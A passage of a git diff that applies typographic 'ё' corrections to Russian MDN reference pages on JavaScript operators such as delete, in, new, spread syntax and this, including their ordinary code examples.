переменная, (например <code>x = 5</code>). На самом деле происходит присвоение значения свойству глобального объекта.</p> -<p><code>delete</code> не может удалить определенные свойства встроенных объектов (таких как Object, Array, Math и так далее). В спецификации ECMA-262 они обозначены как <em>DontDelete.</em></p> +<p><code>delete</code> не может удалить определённые свойства встроенных объектов (таких как Object, Array, Math и так далее). В спецификации ECMA-262 они обозначены как <em>DontDelete.</em></p> -<pre class="brush: js">x = 42; // создает свойство x в глобальном объекте +<pre class="brush: js">x = 42; // создаёт свойство x в глобальном объекте var y = 43; // объявляет новую переменную, y myobj = {}; -myobj.h = 4; // создает свойство h в myobj -myobj.k = 5; // создает свойство k в myobj +myobj.h = 4; // создаёт свойство h в myobj +myobj.k = 5; // создаёт свойство k в myobj delete x; // возвращает true (x - свойство глобального объекта и может быть удалено) delete y; // возвращает false (delete не влияет на имена переменных) -delete Math.PI; // возвращает false (delete не влияет на определенные встроенные свойства) -delete myobj.h; // возвращает true (свойства, определенные пользователем могут быть удалены) +delete Math.PI; // возвращает false (delete не влияет на определённые встроенные свойства) +delete myobj.h; // возвращает true (свойства, определённые пользователем могут быть удалены) with(myobj) { delete k; // возвращает true (эквивалентно delete myobj.k) @@ -89,7 +89,7 @@ delete myobj; // возвращает true (myobj это свойство г Foo.prototype.bar = 42; var foo = new Foo(); delete foo.bar; // возвращает true, но безрезультатно, так как bar - наследуемое свойство -alert(foo.bar); // выводит 42, свойство все еще наследуется +alert(foo.bar); // выводит 42, свойство все ещё наследуется delete Foo.prototype.bar; // удаляет свойство из прототипа alert(foo.bar); // выводит "undefined", свойство больше не наследуется</pre> @@ -106,7 +106,7 @@ if (3 in trees) { // этот участок кода не выполнится }</pre> -<p>Если Вы хотите, чтобы элемент массива существовал, но имел значение undefined, используйте значение <code>undefined</code> вместо оператора <code>delete</code>. В следующем примере, trees{{ mediawiki.external(3) }} принимает значение undefined, но элемент массива все еще существует:</p> +<p>Если Вы хотите, чтобы элемент массива существовал, но имел значение undefined, используйте значение <code>undefined</code> вместо оператора <code>delete</code>. В следующем примере, trees{{ mediawiki.external(3) }} принимает значение undefined, но элемент массива все ещё существует:</p> <pre class="brush: js">var trees = ["redwood","bay","cedar","oak","maple"]; trees[3]=undefined; @@ -116,9 +116,9 @@ if (3 in trees) { <h2 id="Проблема_кроссбраузерности">Проблема кроссбраузерности</h2> -<p>Несмотря на то, что стандарт ECMAScript оставляет порядок итерации по свойствам объектов на усмотрение реализующей стороны, может оказаться так, что все основные браузеры поддерживают порядок итерации, основанный на принципе "свойство добавленное в объект раньше идет раньше" (по крайней мере для свойств не находящихся в прототипе). Однако, в случае с Internet Explorer, когда кто-нибудь использует <code>delete</code> с каким-либо свойством, это приводит к некоторым неожиданным результатам, заставляя другие браузеры отказаться от использования простых объектов, таких как литералы объектов, в качестве ассоциативных массивов. В Internet Explorer, когда значение свойства установлено в undefined, после удаления этого свойства, если кто-нибудь позже добавит свойство с таким же именем, оно окажется в своей <em>старой</em> позиции, а не в конце итерационной последовательности, как ожидается.</p> +<p>Несмотря на то, что стандарт ECMAScript оставляет порядок итерации по свойствам объектов на усмотрение реализующей стороны, может оказаться так, что все основные браузеры поддерживают порядок итерации, основанный на принципе "свойство добавленное в объект раньше идёт раньше" (по крайней мере для свойств не находящихся в прототипе). Однако, в случае с Internet Explorer, когда кто-нибудь использует <code>delete</code> с каким-либо свойством, это приводит к некоторым неожиданным результатам, заставляя другие браузеры отказаться от использования простых объектов, таких как литералы объектов, в качестве ассоциативных массивов. В Internet Explorer, когда значение свойства установлено в undefined, после удаления этого свойства, если кто-нибудь позже добавит свойство с таким же именем, оно окажется в своей <em>старой</em> позиции, а не в конце итерационной последовательности, как ожидается.</p> -<p>Поэтому, если Вы хотите симулировать упорядоченный ассоциативный массив в кроссбраузерной среде, вам придется либо использовать два отдельных массива (один для ключей и один для значений), либо построить массив из объектов с одним свойством и так далее.</p> +<p>Поэтому, если Вы хотите симулировать упорядоченный ассоциативный массив в кроссбраузерной среде, вам придётся либо использовать два отдельных массива (один для ключей и один для значений), либо построить массив из объектов с одним свойством и так далее.</p> <h2 id="Specification" name="Specification">Внешние ссылки</h2> diff --git a/files/ru/web/javascript/reference/operators/in/index.html b/files/ru/web/javascript/reference/operators/in/index.html index 7260b5913e..7570704fb8 100644 --- a/files/ru/web/javascript/reference/operators/in/index.html +++ b/files/ru/web/javascript/reference/operators/in/index.html @@ -58,7 +58,7 @@ var color2 = "coral"; "length" in color2 </pre> -<h3 id="Использование_оператора_in_с_неопределенными_или_с_уже_удаленными_свойствами">Использование оператора <code>in</code> с неопределенными или с уже удаленными свойствами</h3> +<h3 id="Использование_оператора_in_с_неопределёнными_или_с_уже_удалёнными_свойствами">Использование оператора <code>in</code> с неопределёнными или с уже удалёнными свойствами</h3> <p>Если вы удалили свойство при помощи оператора <code style="font-style: normal;"><a href="/ru/docs/Web/JavaScript/Reference/Operators/delete" title="en-US/docs/JavaScript/Reference/Operators/Special/delete">delete</a></code>, то оператор <code>in</code> возвратит <code>false</code> для этого свойства.</p> @@ -71,7 +71,7 @@ delete trees[3]; 3 in trees; // false </pre> -<p>Если вы зададите свойству значение {{jsxref("Global_Objects/undefined", "undefined")}}, но не удалите его, то для этого свойства оператор <code>in</code> вернет значение <code>true</code>.</p> +<p>Если вы зададите свойству значение {{jsxref("Global_Objects/undefined", "undefined")}}, но не удалите его, то для этого свойства оператор <code>in</code> вернёт значение <code>true</code>.</p> <pre class="brush:js">var mycar = {make: "Honda", model: "Accord", year: 1998}; mycar.make = undefined; diff --git a/files/ru/web/javascript/reference/operators/instanceof/index.html b/files/ru/web/javascript/reference/operators/instanceof/index.html index dd264b0a07..a9274710e2 100644 --- a/files/ru/web/javascript/reference/operators/instanceof/index.html +++ b/files/ru/web/javascript/reference/operators/instanceof/index.html @@ -109,7 +109,7 @@ myDate instanceof String; // возвращает false <h3 id="Показывает_что_mycar_имеет_тип_Car_и_тип_Object">Показывает, что <code>mycar</code> имеет тип <code>Car</code> и тип <code>Object</code></h3> -<p>Следующий код создает тип <code>Car</code> и экземпляр этого типа, <code>mycar</code>. Оператор <code>instanceof</code> показывает, что объект <code>mycar</code> имеет тип <code>Car</code> и тип <code>Object</code>.</p> +<p>Следующий код создаёт тип <code>Car</code> и экземпляр этого типа, <code>mycar</code>. Оператор <code>instanceof</code> показывает, что объект <code>mycar</code> имеет тип <code>Car</code> и тип <code>Object</code>.</p> <pre class="brush: js">function Car(make, model, year) { this.make = make; diff --git a/files/ru/web/javascript/reference/operators/new.target/index.html b/files/ru/web/javascript/reference/operators/new.target/index.html index bab9b8e956..5feccb7b52 100644 --- a/files/ru/web/javascript/reference/operators/new.target/index.html +++ b/files/ru/web/javascript/reference/operators/new.target/index.html @@ -47,8 +47,8 @@ Foo(); // ошибка "Foo() must be called with new" class B extends A { constructor() { super(); } } -var a = new A(); // вернет "A" -var b = new B(); // вернет "B" +var a = new A(); // вернёт "A" +var b = new B(); // вернёт "B" </pre> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/javascript/reference/operators/new/index.html b/files/ru/web/javascript/reference/operators/new/index.html index b6f4ed80b7..6afdd75f04 100644 --- a/files/ru/web/javascript/reference/operators/new/index.html +++ b/files/ru/web/javascript/reference/operators/new/index.html @@ -9,7 +9,7 @@ translation_of: Web/JavaScript/Reference/Operators/new --- <div>{{jsSidebar("Operators")}}</div> -<p><strong>Оператор </strong>(операторная функция)<strong> <code>new</code></strong> создает экземпляр объекта, встроенного или определенного пользователем, имеющего конструктор.</p> +<p><strong>Оператор </strong>(операторная функция)<strong> <code>new</code></strong> создаёт экземпляр объекта, встроенного или определённого пользователем, имеющего конструктор.</p> <h2 id="Синтаксис">Синтаксис</h2> @@ -29,7 +29,7 @@ translation_of: Web/JavaScript/Reference/Operators/new <h2 id="Описание">Описание</h2> -<p>Создание объекта, определенного пользователем, требует два шага:</p> +<p>Создание объекта, определённого пользователем, требует два шага:</p> <ol> <li>Написать функцию, которая задаст тип объекта.</li> @@ -41,14 +41,14 @@ translation_of: Web/JavaScript/Reference/Operators/new <p>Когда исполняется <code>new <em>Foo</em>(...)</code> , происходит следующее:</p> <ol> - <li>Создается новый объект, наследующий <code><em>Foo</em>.prototype.</code></li> + <li>Создаётся новый объект, наследующий <code><em>Foo</em>.prototype.</code></li> <li>Вызывается конструктор — функция <code><em>Foo</em></code> с указанными аргументами и <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/this">this</a>, привязанным к только что созданному объекту</code>. <code>new F<em>oo</em></code> эквивалентно <code>new </code><em>F<code>oo</code></em><code>()</code>, то есть если аргументы не указаны, Foo вызывается без аргументов.</li> - <li>Результатом выражения new становится объект, возвращенный конструктором. Если конструктор не возвращает объект явно, используется объект из п. 1. (Обычно конструкторы не возвращают значение, но они могут делать это, если нужно переопределить обычный процесс создания объектов.)</li> + <li>Результатом выражения new становится объект, возвращённый конструктором. Если конструктор не возвращает объект явно, используется объект из п. 1. (Обычно конструкторы не возвращают значение, но они могут делать это, если нужно переопределить обычный процесс создания объектов.)</li> </ol> <p>Всегда можно добавить свойство к уже созданному объекту. Например, <code>car1.color = "black"</code> добавляет свойство <code>color</code> к объекту <code>car1</code>, и присваивает ему значение "<code>black</code>". Это не затрагивает другие объекты. Чтобы добавить свойство ко всем объектам типа, нужно добавлять его в определение типа Car.</p> -<p>Добавить свойство к ранее определенному типу можно используя свойство <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/prototype">Function.prototype</a></code>. Это определит свойство для всех объектов, созданных этой функцией, а не только у какого-либо экземпляра. Следующий пример добавляет свойство color со значением <code>null</code> всем объектам типа <code>car</code>, а потом меняет его на "<code>black</code>" только у экземпляра <code>car1</code>. Больше информации в статье <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/prototype">prototype</a>.</p> +<p>Добавить свойство к ранее определённому типу можно используя свойство <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/prototype">Function.prototype</a></code>. Это определит свойство для всех объектов, созданных этой функцией, а не только у какого-либо экземпляра. Следующий пример добавляет свойство color со значением <code>null</code> всем объектам типа <code>car</code>, а потом меняет его на "<code>black</code>" только у экземпляра <code>car1</code>. Больше информации в статье <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/prototype">prototype</a>.</p> <pre class="brush: js">function Car() {} car1 = new Car(); @@ -80,7 +80,7 @@ console.log(car1.color); // black <pre class="brush: js">var mycar = new Car("Eagle", "Talon TSi", 1993); </pre> -<p>Это выражение создает экземпляр <code>mycar</code> и присваивает его свойствам указанные значения. Таким образом, <code>mycar.make</code> принимает значение "Eagle", <code>mycar.year</code> принимает значение 1993, и так далее.</p> +<p>Это выражение создаёт экземпляр <code>mycar</code> и присваивает его свойствам указанные значения. Таким образом, <code>mycar.make</code> принимает значение "Eagle", <code>mycar.year</code> принимает значение 1993, и так далее.</p> <p>Можно создать любое количество экземпляров <code>car</code> с помощью оператора <code>new</code>. Например:</p> diff --git a/files/ru/web/javascript/reference/operators/nullish_coalescing_operator/index.html b/files/ru/web/javascript/reference/operators/nullish_coalescing_operator/index.html index 71484f05a1..a8482f38c8 100644 --- a/files/ru/web/javascript/reference/operators/nullish_coalescing_operator/index.html +++ b/files/ru/web/javascript/reference/operators/nullish_coalescing_operator/index.html @@ -131,7 +131,7 @@ console.log(foo.someBarProp?.toUpperCase()); // undefined <h3 id="Прогресс_реализации">Прогресс реализации</h3> -<p>В следующей таблице приведено ежедневное состояние реализации этой функции, поскольку эта функция еще не достигла стабильности в разных браузерах. Данные генерируются путем запуска соответствующих тестов функциональности в <a href="https://github.com/tc39/test262">Test262</a>, стандартном наборе тестов JavaScript, в ночной сборке или в последней версии движка JavaScript каждого браузера.</p> +<p>В следующей таблице приведено ежедневное состояние реализации этой функции, поскольку эта функция ещё не достигла стабильности в разных браузерах. Данные генерируются путём запуска соответствующих тестов функциональности в <a href="https://github.com/tc39/test262">Test262</a>, стандартном наборе тестов JavaScript, в ночной сборке или в последней версии движка JavaScript каждого браузера.</p> <div>{{EmbedTest262ReportResultsTable("coalesce-expression")}}</div> diff --git a/files/ru/web/javascript/reference/operators/object_initializer/index.html b/files/ru/web/javascript/reference/operators/object_initializer/index.html index 5f8d445e0d..8487de375a 100644 --- a/files/ru/web/javascript/reference/operators/object_initializer/index.html +++ b/files/ru/web/javascript/reference/operators/object_initializer/index.html @@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Operators/Object_initializer --- <div>{{JsSidebar("Операторы")}}</div> -<p>Объекты могут быть инициализированы с помощью <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object"><code>new Object()</code></a>,<code> <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/create">Object.create()</a> </code>или <em>литеральной</em> (<em>инициирующей</em>) нотации. Инициализатор объекта это разделенный запятыми список ноль или более пар имен свойств и ассоциируемых с ними значений, заключенных в фигурные скобки (<code>{}</code>).</p> +<p>Объекты могут быть инициализированы с помощью <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object"><code>new Object()</code></a>,<code> <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/create">Object.create()</a> </code>или <em>литеральной</em> (<em>инициирующей</em>) нотации. Инициализатор объекта это разделённый запятыми список ноль или более пар имён свойств и ассоциируемых с ними значений, заключённых в фигурные скобки (<code>{}</code>).</p> <h2 id="Синтаксис">Синтаксис</h2> @@ -26,16 +26,16 @@ var o = { <p>Пожалуйста, просмотрите таблицу поддержки этих нотаций. В неподдерживаемом окружении, эти нотации приведут к синтаксической ошибке.</p> -<pre class="brush: js">// Сокращение имен свойств (ES2015) +<pre class="brush: js">// Сокращение имён свойств (ES2015) var a = 'foo', b = 42, c = {}; var o = {a, b, c}; -// Сокращение имен методов (ES2015) +// Сокращение имён методов (ES2015) var o = { <var>property</var>([<var>parameters</var>]) {} }; -// Вычисление имен свойств (ES2015) +// Вычисление имён свойств (ES2015) var prop = 'foo'; var o = { [prop]: 'hey', @@ -52,7 +52,7 @@ var o = { <pre class="brush: js">var object = {};</pre> -<p>Однако, преимущество <em>литеральной</em> или <em>инициирующей</em> нотации это возможность быстро создавать объекты со свойствами внутри фигурных скобок. Создается простой список пар <code>ключ: значение</code>, разделенных запятой. Следующий код создает объект с тремя парами значений и ключи это <code>"foo"</code>, <code>"age"</code> и <code>"baz"</code>. Значения этих ключей строка <code>"bar"</code>, число <code>42</code> и другой объект.</p> +<p>Однако, преимущество <em>литеральной</em> или <em>инициирующей</em> нотации это возможность быстро создавать объекты со свойствами внутри фигурных скобок. Создаётся простой список пар <code>ключ: значение</code>, разделённых запятой. Следующий код создаёт объект с тремя парами значений и ключи это <code>"foo"</code>, <code>"age"</code> и <code>"baz"</code>. Значения этих ключей строка <code>"bar"</code>, число <code>42</code> и другой объект.</p> <pre class="brush: js">var object = { foo: 'bar', @@ -90,14 +90,14 @@ var o = { b = 42, c = {}; -// Сокращение имен свойств (ES2015) +// Сокращение имён свойств (ES2015) var o = {a, b, c}; // Иначе говоря, console.log((o.a === {a}.a)); // true </pre> -<h4 id="Повторение_имен_свойств">Повторение имен свойств</h4> +<h4 id="Повторение_имён_свойств">Повторение имён свойств</h4> <p>Когда используются одинаковые имена свойств, второе свойство перезапишет первое.</p> @@ -105,14 +105,14 @@ console.log((o.a === {a}.a)); // true console.log(a); // {x: 2} </pre> -<p>В строгом режиме ECMAScript 5, повторение имен свойств будет воспринято как {{jsxref("SyntaxError")}}. С введением вычисляемых имен свойств и появлением возможности создавать дубликаты во время выполнения кода, ECMAScript 2015 убрал это ограничение.</p> +<p>В строгом режиме ECMAScript 5, повторение имён свойств будет воспринято как {{jsxref("SyntaxError")}}. С введением вычисляемых имён свойств и появлением возможности создавать дубликаты во время выполнения кода, ECMAScript 2015 убрал это ограничение.</p> <pre class="brush: js">function haveES2015DuplicatePropertySemantics() { 'use strict'; try { ({prop: 1, prop: 2}); - // Не будет ошибки, повторение имен доступно в строгом режиме + // Не будет ошибки, повторение имён доступно в строгом режиме return true; } catch(e) { // Будет ошибка, дубликаты запрещены в строгом режиме @@ -132,7 +132,7 @@ console.log(a); // {x: 2} <p>В ECMAScript 2015, доступна короткая нотация, поэтому слово "function" более не обязательно.</p> -<pre class="brush: js">// Сокращение имен методов (ES2015) +<pre class="brush: js">// Сокращение имён методов (ES2015) var o = { <var>property</var>([<var>parameters</var>]) {}, *<var>generator</var>() {} @@ -243,7 +243,7 @@ assert(obj3.__proto__ === 17); <li>В JSON значения могут быть только строками, числами, массивами, <code>true</code>, <code>false</code>, <code>null</code> или другими (JSON) объектами.</li> <li>Значения-функции (смотри "Методы" выше) не могут быть присвоены свойствам в JSON.</li> <li>Объект вида {{jsxref("Date")}} будет строкой после {{jsxref("JSON.parse()")}}.</li> - <li>{{jsxref("JSON.parse()")}} отклонит вычисляемые имена свойств и вернет ошибку.</li> + <li>{{jsxref("JSON.parse()")}} отклонит вычисляемые имена свойств и вернёт ошибку.</li> </ul> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/javascript/reference/operators/optional_chaining/index.html b/files/ru/web/javascript/reference/operators/optional_chaining/index.html index 959d17c800..b82d793eee 100644 --- a/files/ru/web/javascript/reference/operators/optional_chaining/index.html +++ b/files/ru/web/javascript/reference/operators/optional_chaining/index.html @@ -48,7 +48,7 @@ let nestedProp = ((temp === null || temp === undefined) ? undefined : temp.secon <p>Вы можете использовать <code>?.</code><strong>, </strong>когда необходимо вызвать метод, которого может не существовать. Это может быть полезно, например, при использовании API, в котором метод может быть недоступен из-за устаревания или не поддерживаем ости устройством пользователя.</p> -<p>Использование <code>?.</code><strong> </strong>с вызовом функции значит, что выполнение автоматически вернет <code>undefined</code>, а не выбросит исключение, если метод не найден:</p> +<p>Использование <code>?.</code><strong> </strong>с вызовом функции значит, что выполнение автоматически вернёт <code>undefined</code>, а не выбросит исключение, если метод не найден:</p> <pre class="brush: js">let result = someInterface.customMethod?.();</pre> @@ -101,7 +101,7 @@ myMap.set("foo", {name: "baz", desc: "inga"}); let nameBar = myMap.get("bar")?.name;</pre> -<h3 id="Сокращенное_выполнение">Сокращенное выполнение</h3> +<h3 id="Сокращённое_выполнение">Сокращённое выполнение</h3> <p>При использовании оператора опциональной последовательности в выражениях, где левая часть операнда равна <code>null</code> или <code>undefined</code>, выражение не будет выполнено. Например:</p> diff --git a/files/ru/web/javascript/reference/operators/pipeline_operator/index.html b/files/ru/web/javascript/reference/operators/pipeline_operator/index.html index ec069c9e24..3fee1a8a0d 100644 --- a/files/ru/web/javascript/reference/operators/pipeline_operator/index.html +++ b/files/ru/web/javascript/reference/operators/pipeline_operator/index.html @@ -58,7 +58,7 @@ double(increment(double(double(5)))); // 42 <tr> <td><a href="http://tc39.github.io/proposal-pipeline-operator/">Pipeline operator draft</a></td> <td>Этап 1</td> - <td>Еще не включен в спецификацию ECMAScript.</td> + <td>Ещё не включён в спецификацию ECMAScript.</td> </tr> </tbody> </table> diff --git a/files/ru/web/javascript/reference/operators/spread_syntax/index.html b/files/ru/web/javascript/reference/operators/spread_syntax/index.html index c96be61337..1019bdd757 100644 --- a/files/ru/web/javascript/reference/operators/spread_syntax/index.html +++ b/files/ru/web/javascript/reference/operators/spread_syntax/index.html @@ -44,7 +44,7 @@ translation_of: Web/JavaScript/Reference/Operators/Spread_syntax var args = [0, 1, 2]; myFunction.apply(null, args);</pre> -<p>С <strong>spread syntax</strong> вышеприведенное можно записать как:</p> +<p>С <strong>spread syntax</strong> вышеприведённое можно записать как:</p> <pre class="brush: js notranslate">function myFunction(x, y, z) { } var args = [0, 1, 2]; @@ -58,7 +58,7 @@ myFunction(-1, ...args, 2, ...[3]);</pre> <h4 id="Apply_для_new">Apply для new</h4> -<p>Вызывая конструктор через ключевое слово <code>new</code>, невозможно использовать массив и <code>apply</code> <strong>напрямую </strong>(<code>apply</code> выполняет <code>[[Call]]</code>, а не <code>[[Construct]]</code>).Однако благодаря spread syntax, массив может быть с легкостью использован со словом <code>new:</code></p> +<p>Вызывая конструктор через ключевое слово <code>new</code>, невозможно использовать массив и <code>apply</code> <strong>напрямую </strong>(<code>apply</code> выполняет <code>[[Call]]</code>, а не <code>[[Construct]]</code>).Однако благодаря spread syntax, массив может быть с лёгкостью использован со словом <code>new:</code></p> <pre class="brush: js notranslate">var dateFields = [1970, 0, 1]; // 1 Jan 1970 var d = new Date(...dateFields); @@ -103,7 +103,7 @@ var lyrics = ['head', ...parts, 'and', 'toes']; // ["head", "shoulders", "knees", "and", "toes"] </pre> -<p>Аналогично развертыванию в массиве аргументов, <code>...</code> может быть использован повсеместно и многократно в литерале массива.</p> +<p>Аналогично развёртыванию в массиве аргументов, <code>...</code> может быть использован повсеместно и многократно в литерале массива.</p> <h4 id="Копирование_массива">Копирование массива</h4> @@ -147,7 +147,7 @@ var arr2 = [3, 4, 5]; // Prepend all items from arr2 onto arr1 Array.prototype.unshift.apply(arr1, arr2) // arr1 is now [3, 4, 5, 0, 1, 2]</pre> -<p>С использованием spread syntax [Следует отметить, что такой способ создает новый массив <code>arr1</code>. В отличие от {{jsxref("Array.unshift")}}, исходный массив не мутируется]:</p> +<p>С использованием spread syntax [Следует отметить, что такой способ создаёт новый массив <code>arr1</code>. В отличие от {{jsxref("Array.unshift")}}, исходный массив не мутируется]:</p> <pre class="brush: js notranslate">var arr1 = [0, 1, 2]; var arr2 = [3, 4, 5]; @@ -183,11 +183,11 @@ var mergedObj = merge ( obj1, obj2); var mergedObj = merge ( {}, obj1, obj2); // Object { 0: {}, 1: { foo: 'bar', x: 42 }, 2: { foo: 'baz', y: 13 } }</pre> -<p>В приведенном выше примере оператор распространения не работает так, как можно было бы ожидать: он распространяет <em>массив</em> аргументов в литерал <em>объекта</em> благодаря параметру rest.</p> +<p>В приведённом выше примере оператор распространения не работает так, как можно было бы ожидать: он распространяет <em>массив</em> аргументов в литерал <em>объекта</em> благодаря параметру rest.</p> <h3 id="Только_для_итерируемых_объектов">Только для итерируемых объектов</h3> -<p>Spread syntax ( кроме случаев spread properties) может быть применен только к итерируемым объектам (<a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol/iterator">iterable</a> objects) :</p> +<p>Spread syntax ( кроме случаев spread properties) может быть применён только к итерируемым объектам (<a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol/iterator">iterable</a> objects) :</p> <pre class="brush: js notranslate">var obj = {'key1': 'value1'}; var array = [...obj]; // TypeError: obj is not iterable diff --git a/files/ru/web/javascript/reference/operators/this/index.html b/files/ru/web/javascript/reference/operators/this/index.html index 59761d890e..b373d12fa1 100644 --- a/files/ru/web/javascript/reference/operators/this/index.html +++ b/files/ru/web/javascript/reference/operators/this/index.html @@ -13,7 +13,7 @@ translation_of: Web/JavaScript/Reference/Operators/this <p>Поведение ключевого слова <code>this</code> в JavaScript несколько отличается по сравнению с остальными языками. Имеются также различия при использовании <code>this</code> в <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Strict_mode">строгом</a> и нестрогом режиме.</p> -<p>В большинстве случаев значение <code>this</code> определяется тем, каким образом вызвана функция. Значение <code>this</code> не может быть установлено путем присваивания во время исполнения кода и может иметь разное значение при каждом вызове функции. В ES5 представлен метод {{jsxref('Function.prototype.bind()', 'bind()')}}, который используется для {{jsxref('Operators/this','привязки значения ключевого слова this независимо от того, как вызвана функция','Метод_bind')}}. Также в ES2015 представлены {{jsxref('Functions/Arrow_functions', 'стрелочные функции')}}, которые не создают собственные привязки к <code>this</code> (они сохраняют значение <code>this</code> лексического окружения, в котором были созданы).</p> +<p>В большинстве случаев значение <code>this</code> определяется тем, каким образом вызвана функция. Значение <code>this</code> не может быть установлено путём присваивания во время исполнения кода и может иметь разное значение при каждом вызове функции. В ES5 представлен метод {{jsxref('Function.prototype.bind()', 'bind()')}}, который используется для {{jsxref('Operators/this','привязки значения ключевого слова this независимо от того, как вызвана функция','Метод_bind')}}. Также в ES2015 представлены {{jsxref('Functions/Arrow_functions', 'стрелочные функции')}}, которые не создают собственные привязки к <code>this</code> (они сохраняют значение <code>this</code> лексического окружения, в котором были созданы).</p> <div>{{EmbedInteractiveExample("pages/js/expressions-this.html")}}</div> @@ -65,7 +65,7 @@ f1() === window; // window - глобальный объект в браузер f1() === global; // global - глобальный объект в Node </pre> -<p>В строгом режиме, если значение <code>this</code> не установлено в контексте выполнения, оно остается <code>undefined</code>, как показано в следующем примере:</p> +<p>В строгом режиме, если значение <code>this</code> не установлено в контексте выполнения, оно остаётся <code>undefined</code>, как показано в следующем примере:</p> <pre class="brush:js">function f2(){ "use strict"; // см. strict mode @@ -77,7 +77,7 @@ f2() === undefined; // true <div class="note">Во втором примере <code>this</code> должно иметь значение <code>{{jsxref("undefined")}}</code>, потому что функция <code>f2</code> была вызвана напрямую, а не как метод или свойство объекта (например, <code>window.f2()</code>). Реализация этой особенности не поддерживалась в некоторых браузерах, когда они впервые начали поддерживать {{jsxref('Strict_mode', 'строгий режим')}}. В результате они некорректно возвращали объект <code>window</code>.</div> -<p>Для того, чтобы при вызове функции установить <code>this</code> в определенное значение, используйте {{jsxref('Function.prototype.call()', 'call()')}} или {{jsxref('Function.prototype.apply()', 'apply()')}}, как в следующих примерах.</p> +<p>Для того, чтобы при вызове функции установить <code>this</code> в определённое значение, используйте {{jsxref('Function.prototype.call()', 'call()')}} или {{jsxref('Function.prototype.apply()', 'apply()')}}, как в следующих примерах.</p> <p><strong>Пример 1</strong></p> @@ -128,7 +128,7 @@ bar.call('foo'); // [object String] <h3 id="Метод_bind">Метод <code>bind</code></h3> -<p>ECMAScript 5 представил {{jsxref("Function.prototype.bind()")}}. Вызов <code>f.bind(someObject)</code> создает новую функцию с тем же телом и областью действия, что и <code>f</code>, но там, где в исходной функции используется <code>this</code>, в новой функции оно постоянно будет связано с первым аргументом <code>bind</code>, независимо от того, как функция используется.</p> +<p>ECMAScript 5 представил {{jsxref("Function.prototype.bind()")}}. Вызов <code>f.bind(someObject)</code> создаёт новую функцию с тем же телом и областью действия, что и <code>f</code>, но там, где в исходной функции используется <code>this</code>, в новой функции оно постоянно будет связано с первым аргументом <code>bind</code>, независимо от того, как функция используется.</p> <pre>function f() { return this.a; @@ -155,7 +155,7 @@ console.log(foo() === globalObject); // true</code></pre> <p>Note: если аргумент this передаётся в call, bind или apply при вызове стрелочной функции, он будет проигнорирован. Вы всё ещё можете добавить аргументы к вызову, но первый аргумент (thisArg) должен быть установлен в null.</p> </div> -<p>Неважно, как стрелочная функция <code>foo()</code> будет вызвана, её значение this будет указывать на глобальный объект. <code>this</code> будет сохранять свое значение, даже если функция <code>foo()</code> будет вызвана как метод объекта (что в обычных функциях связывает <code>this</code> с объектом вызова) или с использованием методов <code>call</code>, <code>apply</code> или <code>bind</code>:</p> +<p>Неважно, как стрелочная функция <code>foo()</code> будет вызвана, её значение this будет указывать на глобальный объект. <code>this</code> будет сохранять своё значение, даже если функция <code>foo()</code> будет вызвана как метод объекта (что в обычных функциях связывает <code>this</code> с объектом вызова) или с использованием методов <code>call</code>, <code>apply</code> или <code>bind</code>:</p> <pre><code>// Вызов функции как метода объекта var obj = {foo: foo}; @@ -170,7 +170,7 @@ console.log(foo() === globalObject); // true</code></pre> <p>Несмотря ни на что, <code>this</code> стрелочной функции <code>foo()</code> имеет то же значение, что и при создании функции (глобальный объект в примере выше). То же самое касается стрелочных функций, созданных внутри других функций: их <code>this</code> будет привязан к окружению.</p> -<pre><code>// Создаем объект obj, содержащий метод bar, который возвращает функцию, +<pre><code>// Создаём объект obj, содержащий метод bar, который возвращает функцию, // которая возвращает свой this. Возвращаемая функция создана // как стрелочная функция, таким образом её this постоянно замкнут // на this функции, в которой она создана. </code>Значение bar может быть установлено @@ -195,7 +195,7 @@ var fn2 = obj.bar; // потому что он следует за this из fn2. console.log(fn2()() == window); // true</pre> -<p>В примере выше, функция (назовем её анонимной функцией A), присвоенная методу <code>obj.bar</code>, возвращает другую функцию (назовем её анонимной функцией B) которая создана как стрелочная функция. В результате, <code>this функции B при вызове замкнут на</code> <code>this,</code> принадлежащий <code>obj.bar</code> (функции A). <code>this</code> функции B всегда будет иметь то значение, которое он получил при создании. В примере выше, <code>this функции B</code> указывает на <code>this функции A,которым является</code> obj, таким образом this будет равен <code>obj</code> даже тогда, когда будет вызван методом, который в нормальных условиях устанавливал бы значение this равным <code>undefined</code> или глобальному объекту (или любым другим методом, как в предыдущем примере в глобальном контексте выполнения).</p> +<p>В примере выше, функция (назовём её анонимной функцией A), присвоенная методу <code>obj.bar</code>, возвращает другую функцию (назовём её анонимной функцией B) которая создана как стрелочная функция. В результате, <code>this функции B при вызове замкнут на</code> <code>this,</code> принадлежащий <code>obj.bar</code> (функции A). <code>this</code> функции B всегда будет иметь то значение, которое он получил при создании. В примере выше, <code>this функции B</code> указывает на <code>this функции A,которым является</code> obj, таким образом this будет равен <code>obj</code> даже тогда, когда будет вызван методом, который в нормальных условиях устанавливал бы значение this равным <code>undefined</code> или глобальному объекту (или любым другим методом, как в предыдущем примере в глобальном контексте выполнения).</p> <h3 id="В_методе_объекта">В методе объекта</h3> @@ -213,7 +213,7 @@ console.log(fn2()() == window); // true</pre> console.log(o.f()); // logs 37 </pre> -<p>Необходимо отметить, что на поведение <code>this</code> совсем не влияет то, как или где была определена функция. В предыдущем примере мы определили функцию внутри свойства <code>f</code> во время определения объекта <code>o</code>. Однако, мы могли бы также просто определить сначала функцию, а затем закрепить ее за за свойством <code>o.f</code>. В этом случае поведение <code>this</code> не изменится:</p> +<p>Необходимо отметить, что на поведение <code>this</code> совсем не влияет то, как или где была определена функция. В предыдущем примере мы определили функцию внутри свойства <code>f</code> во время определения объекта 